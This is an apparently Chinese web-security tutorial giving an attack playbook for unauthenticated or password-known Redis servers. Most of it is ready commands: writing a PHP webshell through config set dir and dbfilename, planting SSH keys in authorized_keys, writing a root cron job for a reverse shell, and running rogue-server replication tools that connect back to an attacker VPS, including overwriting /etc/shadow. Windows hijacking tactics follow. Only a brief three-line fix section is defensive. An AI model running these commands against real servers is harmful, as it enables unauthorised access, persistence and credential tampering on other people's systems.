Redis 在渗透测试中常见的利用方式
本文主要以 redis 未授权或已知 redis 口令为前提进行漏洞利用
1 写入 webshell
条件:
- 已知 web 目录绝对路径
- 拥有该目录下的可写权限
查看所有键,创建新键,键值为 webshell,这里以写入 phpinfo 进行一个演示。
因为创建新键赋键值会把原来的键值覆盖,所以需要在赋值的时候需要查看所有的键,然后选择一个没有的键创建赋值。
keys *
set x "\n\n<?php pnpinfo();?>\n"
get x
查看 redis 数据库配置信息,因为我们写 Webshell 会修改 dir
和 dbfilename
,所以这里查看配置信息主要记下原来的值,好在写入后修改回来。
config get *
设置 webshell 输出目录和文件名,然后写入 Webshell。
config set dir /var/www # 设置文件写入目录
config set dbfilename 1.php # 设置写入文件名
save # 保存
最后,再还原数据库配置。
2 写入 ssh 公钥
条件:
- 已知启动服务的用户
- 拥有 .ssh 目录
- 允许使用基于密钥认证的方式登陆
2.1 生成公私钥对
ssh-keygen -t rsa # 生成公钥和私钥
2.2 利用 redis config 写文件
set x "\n\n 公钥内容\n"
config set dir /home/user/.ssh
config set dbfilename authorized_keys
save
2.3 利用公私钥对登录
ssh -i id_rsa user@ip
3 写定时任务反弹 shell
条件:
- 拥有计划任务目录写权限
- 目标启动计划服务
keys * 查看所有键
set x "\n\n 计划任务内容\n\n"
config get *
config set dir /var/spool/cron
config set dbfilename root
save 保存,完成文件写入
del x 删除创建的 x 键
4 主从复制
4.1 加载扩展模块执行系统命令
具体的原理在之前漏洞复现的文章中已经解释过。
脚本地址: https://github.com/Dliv3/redis-rogue-server
主动连接模式:
参数说明
--rpasswd
如果目标 Redis 服务开启了认证功能,可以通过该选项指定密码--rhost
目标 redis 服务 IP--rport
目标 redis 服务端口,默认为 6379--lhost
vps 的外网 IP 地址--lport
vps 监控的端口,默认为 21000
python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>
被动连接模式:
适用于目标 Redis 服务处于内网的情况
- 通过 SSRF 攻击 Redis
- 内网 Redis 未授权访问/已知 Redis 口令,Redis 需要反向连接 redis rogue server
python3 redis-rogue-server.py --server-only
4.2 主从复制写入纯净文件
在 linux 下,可以利用 SYNC 主从同步,来直接写入无杂质的文件,脚本如下:
https://github.com/r35tart/RedisWriteFile
此脚本是通过 Redis
主从写出无损文件,可用于 Windows
平台下写出无损的 EXE
、 DLL
、 LNK
和 Linux
下的 SO
等二进制文件
也可以用无杂质覆写 Linux
中的 /etc/shadow
python3 RedisWriteFile.py --rhost 172.17.0.2 --rport 6379 --lhost 172.17.0.1 --lport 4444 --rpath "/var/www" --rfile "test.php" --lfile "./phpinfo.php"
上述方法主要是针对 linux,当 windows 上未开启 web 服务时,该如何 getshell?
下面介绍下 redis 在 windows 下的常见打法:
- 系统
DLL
劫持 (目标重启或注销) - 针对特定软件的
DLL
劫持(目标一次点击) - 覆写目标的快捷方式 (目标一次点击)
- 覆写特定软件的配置文件达到提权目的 (目标无需点击或一次点击)
- 覆写
sethc.exe
等文件 (攻击方一次触发)
参考: http://r3start.net/index.php/2020/05/25/717
5 漏洞修复
- 设置密码认证
- 尽量以低权限来运行 Redis 服务
- 限制登录 IP
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论